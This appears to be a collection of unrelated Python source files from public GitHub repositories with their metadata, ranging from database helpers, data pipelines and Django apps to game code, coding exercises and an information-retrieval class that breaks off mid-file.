import mysql.connector from helpers.utils import get_environment from configs.mysql_config import MysqlConfig # model class for communication with mysql or any database. class ModelMysql(object): def __init__(self): self.infra_env = get_environment() # function from utils file of helpers package # initialization below is basically give particular mysql config from INSTANCE_CONFIG # from configs package according to environment(local, QA or prod) self.instance_config = MysqlConfig.INSTANCE_CONFIG.get(self.infra_env, {}) # This method return an connection from mysql database using mysql.connector def get_connection(self): connection = mysql.connector.connect(host=self.instance_config.get("host"), port=self.instance_config.get("port"), user=self.instance_config.get("username"), password=self.instance_config.get("password"), ) return connection # method for executing queries which are not return any result such as insert, delete etc. def insert_query(self, query, query_params): connection = self.get_connection() cur = connection.cursor() cur.execute(query, query_params) connection.commit() cur.close() # method for executing queries which are return results such as select etc. def extract_query(self, query, query_params): connection = self.get_connection() cur = connection.cursor() cur.execute(query, query_params) result = cur.fetchall() # here, fetchall returns list of tuples connection.commit() cur.close() return result # returns result

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mysql_model.py

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mstfbl/data

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/torchdata/datapipes/iter/util/combining.py

a17df721e5d2ae311e87e3c3a182651ab0ea48ff

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refs/heads/main

2023-08-26T21:59:03.897135

2021-10-20T15:05:54

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null

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null

# Copyright (c) Facebook, Inc. and its affiliates. import warnings from collections import OrderedDict from torch.utils.data import IterDataPipe, MapDataPipe, functional_datapipe from typing import Callable @functional_datapipe("zip_by_key") class KeyZipperIterDataPipe(IterDataPipe): r""":class:`KeyZipperIterDataPipe`. Iterable DataPipe to zip two DataPipes based on the matching key. Args: source_datapipe: KeyZipper will yield data based on the order of this DataPipe ref_datapipe: Reference datapipe to find matching key for `source_datapipe` key_fn: Callable to extract key of data from source_datapipe ref_key_fn: Callable to extract key of data from ref_datapipe. If it's not specified, the `key_fn` would be applied to reference data keep_key: Option to yield matching key buffer_size: The size of buffer used to hold key-data pair from reference DataPipe. If it's specified as None, the buffer size becomes infinite """ def __init__( self, source_datapipe, ref_datapipe, key_fn, ref_key_fn=None, keep_key=False, buffer_size=10000, ): self.source_datapipe = source_datapipe self.ref_datapipe = ref_datapipe self.key_fn = key_fn self.ref_key_fn = key_fn if ref_key_fn is None else ref_key_fn self.keep_key = keep_key if buffer_size is not None and buffer_size <= 0: raise ValueError("'buffer_size' is required to be either None or a positive integer.") self.buffer_size = buffer_size def __iter__(self): buffer: OrderedDict = OrderedDict() ref_it = iter(self.ref_datapipe) warn_once_flag = True for data in self.source_datapipe: key = self.key_fn(data) while key not in buffer: try: ref_data = next(ref_it) except StopIteration: raise BufferError( f"No matching key can be found from reference DataPipe for the data {data}. " "Please consider increasing the buffer size." ) ref_key = self.ref_key_fn(ref_data) if ref_key in buffer: raise ValueError("Duplicate key is found in reference DataPipe") if self.buffer_size is not None and len(buffer) > self.buffer_size: if warn_once_flag: warn_once_flag = False warnings.warn( "Buffer reaches the upper limit, so reference key-data pair begins to " "be removed from buffer in FIFO order. Please consider increase buffer size." ) buffer.popitem(last=False) buffer[ref_key] = ref_data if self.keep_key: yield key, data, buffer.pop(key) else: yield data, buffer.pop(key) def __len__(self): return len(self.source_datapipe) def tuple_merge(item, item_from_map): return (item, item_from_map) @functional_datapipe("zip_with_map") class MapZipperIterDataPipe(IterDataPipe): r""" :class:`MapZipperIterDataPipe`. IterDataPipe that joins the items from the source IterDataPipe with items from a MapDataPipe. The matching is done by the key function, which maps an item from source IterDataPipe to a key that exists in MapDataPipe. The return value is created by the merge function, which returns a tuple of the two items by default. Args: source_iterdatapipe: IterDataPipe from which items are yield and will be combined with an item from map_datapipe map_datapipe: MapDataPipe that takes a key from key_fn, and returns an item key_fn: Function that maps each item from source_iterdatapipe to a key that exists in map_datapipe merge_fn: Function that combines the item from source_iterdatapipe and the item from map_datapipe, by default a tuple is created """ def __init__( self, source_iterdatapipe: IterDataPipe, map_datapipe: MapDataPipe, key_fn: Callable, merge_fn: Callable = tuple_merge, ): if not isinstance(map_datapipe, MapDataPipe): raise TypeError(f"map_datapipe must be a MapDataPipe, but its type is {type(map_datapipe)} instead.") self.source_iterdatapipe = source_iterdatapipe self.map_datapipe = map_datapipe self.key_fn = key_fn self.merge_fn = merge_fn self.length = -1 def __iter__(self): for item in self.source_iterdatapipe: key = self.key_fn(item) try: map_item = self.map_datapipe[key] except (KeyError, IndexError): raise KeyError(f"key_fn maps {item} to {key}, which is not a valid key in the given MapDataPipe.") yield self.merge_fn(item, map_item) def __len__(self) -> int: if self.length == -1: self.length = len(self.source_iterdatapipe) return self.length

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py

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combining.py

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0.617761

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41.528926

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ArashMoshirnia/store_with_smart_recommender

18,562,848,656,030

1cbcd9efcae9abec270e53a190ef502746a37916

8f619dc8adb894d92590b14af0e5a4b6f7981c44

/products/admin.py

2406114d609e89a1dc359bf9c3c7dc4df701f91e

[]

no_license

https://github.com/ArashMoshirnia/store_with_smart_recommender

e427c97ae18945bb3a0d63b6a8efd2620c048314

ccfddd3c03963d820054f2f418037ae0b81b10f5

refs/heads/master

2023-07-05T03:09:50.181457

2021-08-10T14:20:34

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null

from django.contrib import admin from products.models import Product, Category, ProductRating class ProductAdmin(admin.ModelAdmin): list_display = ('id', 'name', 'is_enabled') class CategoryAdmin(admin.ModelAdmin): list_display = ('id', 'name') class RatingAdmin(admin.ModelAdmin): list_display = ('user', 'product', 'rating') admin.site.register(Product, ProductAdmin) admin.site.register(Category, CategoryAdmin) admin.site.register(ProductRating, RatingAdmin)

UTF-8

Python

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admin.py

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23.2

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promediacorp/fbnames

12,807,592,523,288

a85504b757a939285bff2debb6f8ac6ed624f833

d415ba2dfd6a74c2cc4e2002badf0f22d77853a4

/fbnames/spiders/test.py

99f519206b8c4096fb2ea6bfcc4fb6d096d04e7b

[]

no_license

https://github.com/promediacorp/fbnames

2635e465ab14a96b5badd3f81b48bd7683ce2a68

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refs/heads/master

2021-01-21T02:59:18.291244

2014-12-19T04:09:12

28,012,560

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null

from scrapy.contrib.spiders import CrawlSpider, Rule from scrapy.spider import BaseSpider #from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor from scrapy.selector import HtmlXPathSelector from fbnames.items import FbnamesItem from scrapy.contrib.linkextractors import LinkExtractor class MySpider(CrawlSpider): name = "fb" allowed_domains = ["uphail.com"] start_urls = ["http://www.uphail.com"] # rules = (Rule (LxmlLinkExtractor(allow=(r"",) deny=()) # , callback="parseo", follow= False), # ) rules = ( Rule( LinkExtractor(allow=('',), deny=('vt/', ), ), callback='parse_item', follow=True ), ) def parse_item(self, response): hxs = HtmlXPathSelector(response) urls = hxs.xpath('//a') items = [] for url in urls: item = FbnamesItem() item["anchor"] = url.xpath("text()").extract() item["link"] = url.xpath("@href").extract() items.append(item) return items #crawls

UTF-8

Python

false

1,137

py

10

test.py

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43

25.465116

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StanfordAHA/garnet

1,211,180,790,812

71cc91dbf6a9f91cc7f2537a62bffdcc4c21b812

8e3321fecc0135d694c30f79f726205692f4763c

/global_buffer/design/SRAM.py

6b25c83a5fc7d2fa16c1132ced3104c5627e9309

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permissive

https://github.com/StanfordAHA/garnet

ea178b93244c2be41d04d90725e61a4f8b760254

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refs/heads/master

2023-08-31T16:08:49.068457

2023-07-28T14:21:20

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BSD-3-Clause

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2023-09-14T14:38:04

2018-07-12T06:30:10

2023-08-27T12:58:31

2023-09-14T14:38:04

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13

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Python

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from kratos import Generator, always_ff, posedge class SRAM(Generator): def __init__(self, process: str, name: str, word_size: int, num_words: int): super().__init__(name) self.word_size = word_size self.num_words = num_words self.data_array = self.var("data_array", word_size, size=num_words) if process == "TSMC": self.CLK = self.clock("CLK") self.CEB = self.input("CEB", 1) self.WEB = self.input("WEB", 1) self.A = self.input("A", self.num_words.bit_length() - 1) self.D = self.input("D", self.word_size) self.BWEB = self.input("BWEB", self.word_size) self.Q = self.output("Q", self.word_size) self.RTSEL = self.input("RTSEL", 2) self.WTSEL = self.input("WTSEL", 2) self.add_always(self.tsmc_ff) elif process == "GF": self.CLK = self.clock("CLK") self.CEN = self.input("CEN", 1) self.RDWEN = self.input("RDWEN", 1) self.A = self.input("A", self.num_words.bit_length() - 1) self.D = self.input("D", self.word_size) self.BW = self.input("BW", self.word_size) self.Q = self.output("Q", self.word_size) self.T_LOGIC = self.input("T_LOGIC", 1) self.T_Q_RST = self.input("T_Q_RST", 1) self.MA_SAWL1 = self.input("MA_SAWL1", 1) self.MA_SAWL0 = self.input("MA_SAWL0", 1) self.MA_WL1 = self.input("MA_WL1", 1) self.MA_WL0 = self.input("MA_WL0", 1) self.MA_WRAS1 = self.input("MA_WRAS1", 1) self.MA_WRAS0 = self.input("MA_WRAS0", 1) self.MA_VD1 = self.input("MA_VD1", 1) self.MA_VD0 = self.input("MA_VD0", 1) self.MA_WRT = self.input("MA_WRT", 1) self.MA_STABAS1 = self.input("MA_STABAS1", 1) self.MA_STABAS0 = self.input("MA_STABAS0", 1) self.add_always(self.gf_ff) @always_ff((posedge, "CLK")) def tsmc_ff(self): if self.CEB == 0: self.Q = self.data_array[self.A] if self.WEB == 0: for i in range(64): if self.BWEB[i] == 0: self.data_array[self.A][i] = self.D[i] @always_ff((posedge, "CLK")) def gf_ff(self): if self.CEN == 0: self.Q = self.data_array[self.A] if self.RDWEN == 0: for i in range(64): if self.BW[i]: self.data_array[self.A][i] = self.D[i]

UTF-8

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SRAM.py

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emchoko/SuperMario-

3,470,333,588,442

d37ced85327360cd81009d80df4e5fdd85f0f0f7

7bb9bb8c56ff5abfc9d5f3f2a3ec3fc0434c5af5

/animators/startscreenloader.py

4a568affc5e36fa8b0f3556d271f1458079f7ed7

[]

no_license

https://github.com/emchoko/SuperMario-

c577dd6b98f6d5f04b04f6394a75792087af0e57

f8d5cfdb3005ed635635be754f5004dcb7a4fc32

refs/heads/master

2021-01-25T11:39:06.599909

2018-03-16T03:49:07

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null

false

2018-03-16T03:49:07

2018-03-01T09:31:58

2018-03-16T00:14:22

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0

Python

false

null

from constants import Constants from handlers.imageinfo import ImageInfo try: import simplegui except ImportError: import SimpleGUICS2Pygame.simpleguics2pygame as simplegui # <Leila code> class StartScreenLoader: def __init__(self, state, is_gameover, progress, score): self.background = ImageInfo([320, 240], [640, 480]) self.backgroundImage = simplegui.load_image("https://i.imgur.com/fY8di.jpg") self.game_over_logo = "http://www.powerpointhintergrund.com/uploads/red-text-game-over-png-transparent-4.png" # image self.bkinfo = ImageInfo([200, 150], [400, 300]) self.bkimg = simplegui.load_image( "https://png.pngtree.com/thumb_back/fw800/back_pic/00/06/34/7956298ae43266e.jpg") if not is_gameover: self.logo = simplegui.load_image( "https://fontmeme.com/permalink/180307/3d9848417b5eb71c112dcb18cf23b2d0.png") else: self.logo = simplegui.load_image( "http://www.powerpointhintergrund.com/uploads/red-text-game-over-png-transparent-4.png") self.logo_info = ImageInfo([self.logo.get_width() / 2, self.logo.get_height() / 2], [self.logo.get_width(), self.logo.get_height()]) self.time = 0 self.state = state self.progress = progress self.score = score def draw(self, canvas): center = self.background.get_center() size = self.background.get_size() self.time += 1 wtime = (self.time / 2) % Constants.WIDTH # two images which create a seemless looping background canvas.draw_image(self.backgroundImage, center, size, [(Constants.WIDTH / 2) + wtime, Constants.HEIGHT / 2], [Constants.WIDTH, Constants.HEIGHT]) canvas.draw_image(self.backgroundImage, center, size, [(-Constants.WIDTH / 2) + wtime, Constants.HEIGHT / 2], [Constants.WIDTH, Constants.HEIGHT]) # draw the lives and score to the screen canvas.draw_text("Score", [50, 50], 22, "White", "sans-serif") canvas.draw_text("Progress", [680, 50], 22, "White", "sans-serif") # TODO draw lives and score canvas.draw_text(str(self.score), [50, 80], 22, "White", "sans-serif") canvas.draw_text(str(self.progress), [680, 80], 22, "White", "sans-serif") canvas.draw_image(self.logo, self.logo_info.get_center(), self.logo_info.get_size(), [Constants.WIDTH / 2, Constants.HEIGHT / 2], self.logo_info.get_size()) # </Leila code> # <Emil code> def click(self, pos): self.state.load_playground()

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startscreenloader.py

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thimontenegro/Dataquest

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b8f801f3760cfed507f57a0e9336cab530ae4b47

cb24e4fb75371fa1078fa786ebf88fd3c1ec388c

/Conditional Probability/Bayes Theorem-431.py

2eabc93f0d2bb947e39e62229a72a328b387e4d5

[]

no_license

https://github.com/thimontenegro/Dataquest

19d91856b002ba0d574d4fb78a9291462fbe0a21

abb768698835d77868050f7d0672133dfa1c74e4

refs/heads/master

2021-07-25T10:54:45.335791

2021-01-07T13:01:04

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null

## 1. Independence vs. Exclusivity ## statement_1 = False statement_2 = True statement_3 = True ## 2. Example Walk-through ## p_spam = 0.2388 p_secret_given_spam = 0.4802 p_secret_given_non_spam = 0.1284 p_non_spam = 1 - p_spam p_spam_and_secret = p_spam * p_secret_given_spam p_non_spam_and_secret = p_non_spam * p_secret_given_non_spam p_secret = p_spam_and_secret + p_non_spam_and_secret ## 3. A General Formula ## p_boeing = 0.73 p_airbus = 0.27 p_delay_given_boeing = 0.03 p_delay_given_airbus = 0.08 p_delay = p_boeing * p_delay_given_boeing + p_airbus * p_delay_given_airbus ## 4. Formula for Three Events ## p_boeing = 0.62 p_airbus = 0.35 p_erj = 0.03 p_delay_boeing = 0.06 p_delay_airbus = 0.09 p_delay_erj = 0.01 p_delay = p_boeing * p_delay_boeing + p_airbus * p_delay_airbus + p_erj * p_delay_erj ## 6. Bayes' Theorem ## p_boeing = 0.73 p_airbus = 0.27 p_delay_given_boeing = 0.03 p_delay_given_airbus = 0.08 p_delay = p_boeing * p_delay_given_boeing + p_airbus * p_delay_given_airbus p_airbus_delay = (p_airbus * p_delay_given_airbus) / p_delay ## 7. Prior and Posterior Probability ## p_spam = 0.2388 p_secret_given_spam = 0.4802 p_secret_given_non_spam = 0.1284 p_non_spam = 1 - p_spam p_secret = p_spam * p_secret_given_spam + p_non_spam * p_secret_given_non_spam p_spam_given_secret = (p_spam * p_secret_given_spam) / p_secret prior = p_spam posterior = p_spam_given_secret ratio = posterior / prior

UTF-8

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Bayes Theorem-431.py

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icompsofteduardos/Treino-ICS

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68e7c9e2cf745c5a221fd58d88173eb28f2c7431

d07dbecd446b6e4fd51dce4694d528ff0efd73c1

/git_curso/ddd.py

0cbf3939426bba3989017fedb3d4f2647338ce4e

[]

no_license

https://github.com/icompsofteduardos/Treino-ICS

784ce9c91a54af7e312524c3cba7b5c36cf75de4

f0af6c5b5ed90e61820200ede157f39937ddafe8

refs/heads/master

2020-12-26T06:03:51.348670

2020-02-07T12:08:02

237,410,777

1

null

sp = 45 pr = 46 jk = 50

UTF-8

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false

23

py

23

ddd.py

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0.521739

0.26087

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7

not7cd/circulation

11,012,296,187,001

cda3ac3e964b54ea51e1f63714f355c6386e7dfb

22d481ff60d722fb0bbd6b0cb66a8727e48391c1

/circulation/main/index/views.py

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[ "MIT" ]

permissive

https://github.com/not7cd/circulation

b7a745a38fb55ab7266a0a04ab52abc180f5d6ad

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refs/heads/master

2020-03-18T01:20:03.932825

2019-05-28T15:41:26

134,137,937

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1

MIT

true

2019-05-28T15:41:27

2018-05-20T09:43:12

2019-05-14T08:14:44

2019-05-28T15:41:27

1,109

2

1

0

Python

false

from circulation.web import db from circulation.models import User, Book, Comment, Log, Permission from flask import render_template from flask_login import current_user from circulation.main.index import main from circulation.main.book.forms import SearchForm @main.app_context_processor def inject_permissions(): return dict(Permission=Permission) @main.route('/') def index(): search_form = SearchForm() the_books = Book.query if not current_user.can(Permission.UPDATE_BOOK_INFORMATION): the_books = the_books.filter_by(hidden=0) popular_books = the_books.outerjoin(Log).group_by(Book.id).order_by(db.func.count(Log.id).desc()).limit(5) popular_users = User.query.outerjoin(Log).group_by(User.id).order_by(db.func.count(Log.id).desc()).limit(5) recently_comments = Comment.query.filter_by(deleted=0).order_by(Comment.edit_timestamp.desc()).limit(5) return render_template("index.html", books=popular_books, users=popular_users, recently_comments=recently_comments, search_form=search_form)

UTF-8

Python

false

1,064

py

59

views.py

34

0.733083

0.728383

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24

43.333333

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Aasthaengg/IBMdataset

7,318,624,281,701

7f0babab19d27aa49583ff919a1f973eb0612380

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p03042/s581701801.py

e99b5d359defcd18629bb2ca245e4fd623077242

[]

no_license

https://github.com/Aasthaengg/IBMdataset

7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901

f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8

refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

367,112,348

0

null

n=input() n1,n2=int(n[:2]),int(n[2:]) #if (n1>12 and n2>12) or (n1==0 and n2==0): # print("NA") if (n1!=0 and n1<=12) and (n2!=0 and n2<=12): print("AMBIGUOUS") elif n1!=0 and n1<=12: print("MMYY") elif n2!=0 and n2<=12: print("YYMM") else: print("NA")

UTF-8

Python

false

275

py

202,060

s581701801.py

202,055

0.534545

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0

13

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xydinesh/learnpythonthehardway

17,489,106,851,404

9ca7093ca2fe2c1dddc04b5788bbbdc3bd963e89

699016c085d3a6a30916f559fb28957cc67ff3ba

/ex11.1.py

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[]

no_license

https://github.com/xydinesh/learnpythonthehardway

1879bf08e474b5a05d6559e426fd0ef91d6171cd

556e96f264d4720f2de01ae31d7aa05eebf3d4d8

refs/heads/master

2021-01-01T18:03:21.007674

2013-07-20T04:45:50

null

0

null

# comma ',' at the end of line is important # as it allow you to enter answer next to the question # i.e. it won't insert a \n at the end of the line print "What is your eye color?", eye_color = raw_input() print "What is your hair color?", hair_color = raw_input() print "Enter a number you can think of", n1 = int(raw_input()) print "Enter another number", n2 = int(raw_input()) print "You have %s eys, %s hair and sum of numbers you entered %d" %\ (eye_color, hair_color, n1 + n2)

UTF-8

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abeaumont/competitive-programming

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#!/usr/bin/env python3 # https://codejam.withgoogle.com/2018/challenges/00000000000000cb/dashboard/0000000000007a30 import sys for _ in range(int(input())): a = int(input()) b = (a - 1) // 3 + 1 m = [None] * 3 for i in range(3): m[i] = [False] * b i = 1 while True: print(i + 1, 2) sys.stdout.flush() x, y = map(int, input().split()) if x == -1 and y == -1: sys.exit(0) if x == 0 and y == 0: break m[y - 1][x - 1] = True while i < b - 2: ok = True for j in range(3): if not m[j][i - 1]: ok = False break if ok: i += 1 else: break

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Orisland/HibiAPI

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2021-02-28T03:25:27

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import inspect from enum import Enum from fnmatch import fnmatch from typing import Any, Callable, Dict, List, Mapping, Optional, Tuple from urllib.parse import ParseResult, urlparse from fastapi.routing import APIRouter from httpx import URL from pydantic import AnyHttpUrl, validate_arguments from pydantic.errors import UrlHostError from .net import AsyncHTTPClient def exclude_params(func: Callable, params: Mapping[str, Any]) -> Dict[str, Any]: func_params = inspect.signature(func).parameters return {k: v for k, v in params.items() if k in func_params} class SlashRouter(APIRouter): def api_route(self, path: str, **kwargs): path = path if path.startswith("/") else ("/" + path) return super().api_route(path, **kwargs) class BaseEndpoint: type_checking: bool = True def __init__(self, client: AsyncHTTPClient): self.client = client @staticmethod def _join(base: str, endpoint: str, params: Dict[str, Any]) -> URL: host: ParseResult = urlparse(base) params = { k: (v.value if isinstance(v, Enum) else v) for k, v in params.items() if v is not None } return URL( url=ParseResult( scheme=host.scheme, netloc=host.netloc, path=endpoint.format(**params), params="", query="", fragment="", ).geturl(), params=params, ) def __getattribute__(self, name: str) -> Any: obj = super().__getattribute__(name) if name.startswith("_"): return obj elif not callable(obj): return obj elif not self.type_checking: return obj return validate_arguments(obj) class BaseHostUrl(AnyHttpUrl): allowed_hosts: List[str] = [] @classmethod def validate_host( cls, parts: Dict[str, str] ) -> Tuple[str, Optional[str], str, bool]: host, tld, host_type, rebuild = super().validate_host(parts) if not cls._check_domain(host): raise UrlHostError(allowed=cls.allowed_hosts) return host, tld, host_type, rebuild @classmethod def _check_domain(cls, host: str) -> bool: return any( filter( lambda x: fnmatch(host, x), # type:ignore cls.allowed_hosts, ) )

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amahfouz/python-prog-challenge

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/geeks4geeks/sum-of-bitwise-or-in-power-set.py

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[]

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refs/heads/master

2021-01-10T19:44:16.005639

2020-04-22T21:09:12

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#!/bin/python # # Solution for # https://www.geeksforgeeks.org/sum-of-bitwise-or-of-all-possible-subsets-of-given-set/ # Let 'n' be the number of members of the original set # # Total number of subsets is 2^n (including empty set) # # In any given subset, for the i[th] bit to be # zero all corresponding bits in set members must # be zero. Let the number of members where that # bit is zero to be 'zi'. So the number of sets # made up of these numbers is 2^zi. Negating the # condition, the number of sets where this bit is # 1 is equal 2^n - 2^zi. # # So all has to be done is to compute the number of # members that have the i[th] bit as zero for every # i from 0 to 31. # # length of integers in the problem NUM_SIZE = 32 def or_sum(arr): zero_count = [0 for _ in range(NUM_SIZE)] for index in range(NUM_SIZE): for num in arr: if not (num & (1 << index)): zero_count[index] += 1 num >> 1 # all zeros have now been computed result = 0 two_pow_n = 1 << len(arr) for i in range(NUM_SIZE): num_subsets = two_pow_n - (1 << zero_count[i]) val_of_bit = 1 << i contribution = num_subsets * val_of_bit result += contribution return result if __name__ == "__main__": arr = [ 1, 2, 3 ] print or_sum(arr)

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sum-of-bitwise-or-in-power-set.py

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taojin0505/hawq-toolkit

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/word-segment-algorithm/boundarystab-prallal.py

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[]

no_license

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refs/heads/master

2020-12-25T14:58:21.019085

2017-01-05T08:23:03

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#!/usr/bin/env python # -*- coding: utf-8 -* from __future__ import division import os.path import os import getopt import sys import string import time import math import multiprocessing import Queue starttime=int(time.time()) shortargs='h' longargs=['help'] argvcount=2 numprocess=8 worddict={} wordcount=0 wordset=set() maxwordlength=6 boundarysize=1 wordgroup=[] def printhelp(): usageMsg='Script Usage:\n \ python template.py word.txt wordcount.txt' scriptname=sys.argv[0] print(usageMsg.replace('template.py',scriptname)) def ischs(s): if s>=u'\u4e00' and s<=u'\u9fa5': return True else: return False def getentropy(pid,wordqueue,wordgroup): word=u'' rboundaryword={} lboundaryword={} rboundaryset=set() lboundaryset=set() wordappears=0 lbe=1.0 rbe=1.0 returnlist=[] counter=0 print 'start process %d'%pid while not wordqueue.empty(): try: word=wordqueue.get(False) except Queue.Empty: print 'process %d finished'%pid return returnlist #print 'process %d ,word %s ,wordgroup %d'%(pid,word,len(wordgroup)) wordlen=len(word) rboundaryword={} lboundaryword={} rboundaryset=set() lboundaryset=set() for length in xrange(wordlen+1,maxwordlength+1): for keyword in wordgroup[length-1]: startidx=keyword.find(word) if startidx>0: #print 'start index %d word %s keyword %s'%(startidx,word,keyword) if keyword[startidx-1] in lboundaryset: lboundaryword[keyword[startidx-1]]+=1 else: lboundaryword[keyword[startidx-1]]=1 lboundaryset.add(keyword[startidx-1]) #print 'left word is %s '%keyword[startidx-1] if startidx+wordlen<len(keyword): if keyword[startidx+wordlen] in rboundaryset: rboundaryword[keyword[startidx+wordlen]]+=1 else: rboundaryword[keyword[startidx+wordlen]]=1 rboundaryset.add(keyword[startidx+wordlen]) #print 'right word is %s '%keyword[startidx+wordlen] wordappears+=1 for i in lboundaryword.values(): lbe+=-(i/wordappears)*math.log10(i/wordappears) for i in rboundaryword.values(): rbe+=-(i/wordappears)*math.log10(i/wordappears) avl=len(lboundaryset) avr=len(rboundaryset) counter+=1 if counter%1000==0: print 'process %d run for %d words and %d seconds'%(pid,counter,int(time.time())-starttime) returnlist.append((word,str(lbe),str(rbe),str(len(lboundaryset)),str(len(rboundaryset)))) #print 'lbe %f,rbe %f lav %d rav %d'%(lbe,rbe,len(lboundaryset),len(rboundaryset)) return returnlist if __name__=='__main__': try: option,args=getopt.getopt(sys.argv[1:],shortargs,longargs) except getopt.GetoptError: print(usageMsg) sys.exit() for name,value in option: if name in ('-h','--help'): printhelp() sys.exit() if len(args)!=argvcount: printhelp() sys.exit() else: wordfilename=args[0] wordcountfilename=args[1] for i in xrange(maxwordlength): wordgroup.append([]) wordfile=open(wordfilename,'r') wordtext=wordfile.readlines() wordcountfile=open(wordcountfilename,'r') text=wordcountfile.readlines() procspool=multiprocessing.Pool(processes=numprocess) mgr=multiprocessing.Manager() wordqueue=mgr.Queue() for line in wordtext: line=line.decode('utf-8').replace('\n','').strip() if ischs(line): wordqueue.put(line) for line in text: words=line.split(' ') word0=words[0].decode('utf-8').strip() word1=int(words[1]) worddict[word0]=word1 wordcount+=word1 if ischs(word0[0]): wordlen=len(word0) wordgroup[wordlen-1].append(word0) print 'totaly %d word ,count is %s '%(wordqueue.qsize(),wordcount) procsrel=[] for i in xrange(numprocess): procsrel.append(procspool.apply_async(getentropy,args=(i,wordqueue,wordgroup))) procspool.close() procspool.join() outfile=open('boundary-p.txt','wb') a=[] for res in procsrel: for resword in res.get(): outfile.write(u','.join(resword).encode('utf-8')+'\n') #print 'mi word count is %d,actually word count is %s '%(len(wordset),len(worddict)) #print 'it runs %d seconds '%(int(time.time())-starttime)

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etjoa003/medical_imaging

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/isles2017/pipeline/get_results/results_publication_1/main_result.py

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[]

no_license

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from utils.utils import * # DEBUG MODE? # See utils/debug_switche import pipeline.training as tr import pipeline.evaluation as ev import pipeline.lrp as lr import pipeline.visual as vh def example_process_get_main_figure(config_data): print('pipeline/get_results/restuls_publication_1.example_process_get_main_figure(). \ You can hardcode parameters or config here.') # In the paper, other sizes are used as well. config_data['dataloader']['resize'] = [48,48,19] config_data['model_label_name'] = "UNet3D_AXXXS1" tr.training_UNet3D(config_data) if not DEBUG_VERSION: config_data['LRP']['filter_sweeper']['case_numbers'] = [1,2,4,7,11,15,28,27,45] else: config_data['LRP']['filter_sweeper']['case_numbers'] = DEBUG_EVAL_TRAINING_CASE_NUMBERS ev.evaluation_UNet3D_overfit(config_data) lr.lrp_UNet3D_filter_sweeper_0002(config_data,verbose=0) lr.lrp_UNet3D_filter_sweeper_0003(config_data,verbose=0) config_data['LRP']['filter_sweeper']['submode'] = '0002' vh.lrp_UNet3D_filter_sweep_visualizer(config_data)

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Cainuriel/Training-Python-

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2020-04-18T19:17:47.861335

2019-02-13T21:49:36

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string = "This website is for losers LOL!" vocals = "AaEeIiOoUu" def disemvowel(string): vocals = "AaEeIiOoUu" result ="" for i in string: count = 0 for j in vocals: if i != j: count = count + 1 else: pass if count == 10: result += i return result # asi de facil es con el metodo translate maketrans = string.maketrans(vocals," ") print(maketrans) result = string.translate(maketrans) print(result)

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AndreButhner/xoola

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/app/controllers/auth/forms.py

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from flask_wtf import Form from wtforms import StringField, BooleanField, FloatField, IntegerField, DateField,TextAreaField, SelectField, FileField, PasswordField,validators from wtforms.validators import DataRequired, EqualTo from app.model import Empresa class LoginForm(Form): login = StringField('login', validators=[DataRequired()]) password = PasswordField('Password',validators=[DataRequired()])

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PyJay/advent_of_code

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/2018/day02/solve_2.py

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[]

no_license

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refs/heads/master

2021-07-12T09:34:26.059770

2020-07-05T10:15:59

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def similar_ids_common_letters(box_ids): for i in range(len(box_ids)): check_id = box_ids.pop() for box_id in box_ids: diff_idxs = [] for i in range(len(check_id)): if box_id[i] != check_id[i]: diff_idxs.append(i) if len(diff_idxs) == 2: continue if len(diff_idxs) == 1: id_chrs = list(box_id) id_chrs.pop(diff_idxs[0]) return "".join(id_chrs) def test_similar_ids_common_letters(): box_ids = [ 'abcde', 'fghij', 'klmno', 'pqrst', 'fguij', 'axcye', 'wvxyz', ] assert 'fgij' == similar_ids_common_letters(box_ids) if __name__ == '__main__': with open('input_1.txt', 'r') as f: box_ids = f.read().split('\n') print(similar_ids_common_letters(box_ids))

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luis4ngel09/sistema_web_comida

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/comida/models.py

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refs/heads/master

2021-08-23T17:41:51.800961

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from __future__ import unicode_literals from django.db import models from django.utils import timezone class comidas (models.Model): author = models.ForeignKey('auth.User') nombre = models.CharField(max_length=200) descripcion = models.TextField() costo = models.IntegerField() imagen = models.ImageField(upload_to='comida/images/') fecha_creacion = models.DateTimeField(default=timezone.now) def publish(self): self.fecha_creacion = timezone.now() self.save() def __str__(self): return self.nombre class usuarios(models.Model): nombre = models.CharField(max_length=200) password = models.CharField(max_length=200) #email = models.EmailField(max_length=200) descripcion = models.TextField() imagen = models.ImageField(upload_to='comida/images/') tipo_usuario= models.CharField(max_length=200) def __str__(self): return self.nombre class pedidos(models.Model): #author=models.ForeignKey('auth.User') comida_id = models.ForeignKey(comidas, on_delete=models.CASCADE) #usuario_id = models.ForeignKey(usuarios,on_delete=models.CASCADE) nombre = models.CharField(max_length=200) cantidad = models.IntegerField() descripcion = models.TextField() fecha_creacion = models.DateTimeField(default=timezone.now) def publish(self): self.fecha_creacion = timezone.now() self.save() def __str__(self): return self.nombre

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jaycrowww/COM3110

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/my_retriever.py

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[]

no_license

https://github.com/jaycrowww/COM3110

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2021-09-27T16:12:01.333810

2018-11-09T13:37:40

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from collections import defaultdict import math class Retrieve: """" Takes an inverted index of a document collection, a term weighting scheme ('binary', 'tf' or 'tfidf') and a query, and returns the ids of ten top documents based on their cosine similarity to the query. """ # Create new Retrieve object storing index and termWeighting scheme def __init__(self, index, termWeighting): self.index = index self.termWeighting = termWeighting # Total Number of Documents in Collection - will be determined as a running total self.collection_size = 0 # Dictionary of IDF values of Collection (key = term, value = idfValue) self.collection_idf_values = defaultdict(float) # Recording number of elements per document (key = docid, value = total number of terms in document) self.docid_num_elements = defaultdict(int) # Recording list of vector values per docid (key = docid, value = list of values) self.docid_vector_elements = defaultdict(list) # Recording Document Vector Magnitude for each docid ([docid] = magnitude) self.docid_magnitude = defaultdict(float) # ---------------------------------------------------------------------------- # Calculating Collection Size by storing unique docids set_of_docids = set() for term in self.index: for docid in self.index[term]: set_of_docids.add(docid) self.collection_size = len(set_of_docids) # ---------------------------------------------------------------------------- # Loop through every term in the index and calculating Document Vector # Magnitude per document for given term weighting # Term Frequency Approach if self.termWeighting == 'tf': # find the TF values for every document's terms, and the total # number of elements in each document by looping over all of the # terms in the entire index for term in self.index: for docid in self.index[term]: self.docid_num_elements[docid] += self.index[term][docid] self.docid_vector_elements[docid].append(self.index[term][docid]) # calculate the magnitude of the document vectors based on normalised TF elements. for (docid, tf_values) in self.docid_vector_elements.items(): total = 0 num_elems = self.docid_num_elements[docid] for 